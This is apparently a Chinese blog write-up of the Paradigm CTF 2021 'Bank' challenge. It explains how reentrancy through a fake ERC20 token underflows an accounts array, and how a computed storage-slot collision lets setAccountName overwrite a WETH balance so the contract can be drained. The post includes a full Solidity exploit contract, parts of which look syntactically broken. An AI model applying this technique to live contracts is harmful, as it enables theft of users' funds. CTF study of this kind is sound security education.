该题是大神Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun大神。
基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/
该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993
这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD)
简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。
函数签名 | 备注 |
---|---|
depositToken(uint accountId, address token, uint amount) |
//如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入 |
withdrawToken(uint accountId, address token, uint amount) |
//检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币 |
setAccountName(uint accountId, string name) |
//设置帐户的显示名称 |
closeLastAccount() |
//确保用户有帐户//确保最后一个帐户为空//关闭帐户 |
getAccountInfo(uint accountId) |
//获取有关帐户的信息 |
getAccountBalance(uint accountId, address token) |
//获取TOKEN的余额 |
transferOwnership(address newOwner) |
//将所有权转移到新地址 |
acceptOwnership() |
//接受所有权转让 |
该合约另一个奇怪的点是他的数据结构:
给定了一个map
,map
里面是以address
为key
,以Accounts
动态数组作为值。Accounts
动态数组里存放的是结构体Account
,该结构体包含一个string
, 一个uint,
和一个map
。这个accounts
的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的Token
的种类数量,以及每种Token
的对应的余额。
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
拿到题目时,先整体分析下这个合约。最明显的两个特点是:
deposit, withdraw
等函数都没有防止重进入的措施
nonReentry
修饰符accounts[msg.sender].length--;
如果此时的accounts[msg.sender].length == 0
,则会使得accounts[msg.sender].length
下溢出account.uniqueTokens--;
account.balances[token] -= amount;
那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用withdraw
函数取出合约中所有的WETH到我的账户上。:+1:
既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。
sequenceDiagram
ContractA->>funcA: 合约A调用方法A
funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
opt 重进入
ContractB_funcB ->> funcA: 重进入
funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
end
alt 结束调用
ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C
end
注意重进入与顺序执行的区别。重进入可以理解为发生递归。
function inSequence() {
contractA.funcA()
contractB.funcB()
contractA.funcA()
contractB.funcB()
}
这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。
我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即:
accounts[msg.sender].length == uint(-1)
要达成这个目标,我们需要withdrawToken
函数在执行如下代码段的时候,满足如下三个条件:
accounts[msg.sender].length==0
account.uniqueTokens == 1
account.balances[token] == 0
func_withdrawToken:
if (account.balances[token] == 0) {
account.uniqueTokens--;
if (account.uniqueTokens == 0 && accountId == lastAccount) {
accounts[msg.sender].length--;
}
}
分析withdarwToken
函数发现,唯有如下两个函数涉及到外部合约的调用:
ERC20Like(token).balanceOf(msg.sender)
ERC20Like(token).transferFrom(msg.sender, address(this), amount)
如果我们在ERC20Like(token).balanceOf(msg.sender)
中调用closeLastAccount()
函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于withdrawToken
中要求account.uniqueTokens == 1
, 而 closeLastAccount
中要求 accounts[msg.sender][lastAccount].uniqueTokens == 0
.此刻两个要求相冲突,必然会导致revert.
function closeLastAccount() external {
// make sure the user has an account
require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
// make sure the last account is empty
uint lastAccount = accounts[msg.sender].length - 1;
require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
// close the account
accounts[msg.sender].length--;
}
此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变:
函数名 | 重进入位点 | 要求 | 状态改变 |
---|---|---|---|
withdrawToken |
balanceOf_1 |
len > 0balance >= amount | |
balanceOf_2 |
balance == 0uniqueTokens == 1len==0 | uniqueTokens--len--(accountId == lastAccount) | |
closeLastAccount |
NA | len > 0uniqueTokens == 0 | len-- |
depositToken |
balanceOf_1 |
len >= 0amount >= 0 | len++(accountId == len) |
balanceOf_2 |
oldBalance==0 | uniqueTokens++ |
再来考虑我们的目标:
accounts[msg.sender].length == uint(-1)
要实现该目标,我们的目标状态为:uniqueTokens = 0, len = uint(-1)
函数名 | 重进入位点 | 需要的状态 |
---|---|---|
withdrawToken |
balanceOf_2 |
uT = 1len = 0 |
depositToken |
balanceOf_2 |
uT = 0len = 0 |
closeLastAccount |
NA | uT = 0len = 1 |
depositToken |
balanceOf_1 |
uT = 0len = 0 |
closeLastAccount |
NA | uT = 0len = 1 |
withdrawToken |
balanceOf_1 |
uT = 0len = 1 |
整理成调用栈结构为:
withdrawToken =>
balanceOf_1 =>
closeLastAccount
depositToken
balanceOf_1 =>
closeLastAccount
balanceOf_2
balanceOf_2
现在的问题是我们想要在最开始调用withdarwToken
函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让withdrawToken
中的accountId != lastAccount
,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。
depositToken(0,token,0) |
[1] |
---|---|
depositToken(1,token,0) |
[1,1] |
withdrawToken(0,token,0) |
[0,1] |
withdrawToken(1,token,0) |
[0] |
pragma solidity >=0.4.22;
import './Bank.sol';
contract HackBank is ERC20like {
uint reentry;
address bank;
constructor(address _bank) {
bank = _bank;
}
function transfer(address dst, uint qty) public returns (bool){
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool){
return true;
}
function approve(address, uint) public returns (bool){
return true;
}
function balanceOf(address who) public returns (uint){
// withdrawToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 2 [1, 0]
// withdrawToken 2 [0, -1]
if (reentry == 1) {
reentry = 0;
Bank(bank).closeLastAccount();
reentry = 2;
Bank(bank).depositToken(0, address(this), 0);
} else if (reentry == 2) {
Bank(bank).closeLastAccount();
reentry = 0;
}
return 0;
}
function hack_underflow() public {
// make it [0]
Bank(bank).depositToken(0,address(this),0); //[1]
Bank(bank).depositToken(1, address(this), 0); //[1, 1]
Bank(bank).withdrawToken(0, address(this), 0); // [0, 1]
Bank(bank).withdrawToken(1, address(this), 0); // [0]
reentry = 1;
Bank(bank).withdrawToken(0, address(this), 0);
}
function withdraw_WETH() public {
bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
bytes memory acc_key = keccak256(base_key);
uint accountId;
uint delta;
for (accountId = 0; true ; accountId += 1) {
bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
delta = uint(-1) - uint(acc_key) + uint(target) + 1;
if (delta % 3 == 0) {
break;
}
}
accountId = delta / 3;
value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
Bank(bank).setAccountName(accountId, value);
Bank(bank).withdrawToken(accountId, WETH, 50 ether);
}
function exploit() public {
hack_underflow();
withdraw_WETH();
}
}
通过重进入,我们成功的将accounts[msg.sender].length == uint(-1)
,根据思路,我们可以利用setAccountName(uint accountId, string name)
函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。
首先我们看下函数:setAccountName(uint accountId, string name)
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
简单来讲就是把一个字符串写入到accounts[msg.sender][accountId].accountName
中。我们的目标是accounts[msg.sender][accountId].balances[WETH]==uint(-1)
,则这里我们需要找到一个accountId, 使得如下等式成立:
key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH])
等式左侧:
key(accounts[msg.sender][accountId].accountName) =
{
base_key = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key = keccak(base_key) + 3 * accountId
accountName_key = acc_key + 0x00
}
等式右侧:
key(accounts[msg.sender][accountId].balances[WETH]) =
{
base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key2 = keccak(base_key2) + 3 * accountId
balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02))
}
则:
keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02))
=>
accountId * 3 = WETH_BALANCE_KEY - BASE_KEY
//此处为了避免出现负值,加个uint(-1) + 1
=>
accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1
要求该accountId的值必须正好是整除3,不能有余数,即
if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) {
break;
}
accountId++;
找到对应的accountId后,需要给其赋值,使得accounts[msg.sender][accountId].balances[WETH]=uint(-1)
,那么这个值应该怎么给呢?
string
数据如何存储在storage中:字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节(左对齐)中,低阶字节存储len*2
。对于存储长度为32或更多字节的数据的字节数组,主插槽存储len*2+1
,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。
比如如下的函数:
function test(uint accountId) public {
accounts[msg.sender].length++;
Account storage account = accounts[msg.sender][accountId];
account.accountName = "Tester";
account.uniqueTokens = 1;
account.balances[address(this)] = uint(-1);
}
Tester
会首先编码成546573746572
(Tester.encode().hex()=546573746572
),其长度为0x06,长度的2倍为0x0c
则在内存中其存储的值为:0x546573746572000000000000000000000000000000000000000000000000000c
在本题目中,我们希望储存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff
共31位,则实际写入内存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e
, 则我们可以利用如下的python代码得到decode后的字符串
也可以存储一个足够大的值,只要大于50 ether就行。比如5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a
,则对应储存的值为0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e
string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a"
byte_array = bytearray.fromhex(string)
byte_array.decode()
=>
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'
整理一下:
function withdraw_WETH() public {
bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
bytes memory acc_key = keccak256(base_key);
uint accountId;
uint delta;
for (accountId = 0; true ; accountId += 1) {
bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
delta = uint(-1) - uint(acc_key) + uint(target) + 1;
if (delta % 3 == 0) {
break;
}
}
accountId = delta / 3;
//value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ";
Bank(bank).setAccountName(accountId, value);
Bank(bank).withdrawToken(accountId, WETH, 50 ether);
}
function exploit() public {
hack_underflow();
withdraw_WETH();
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!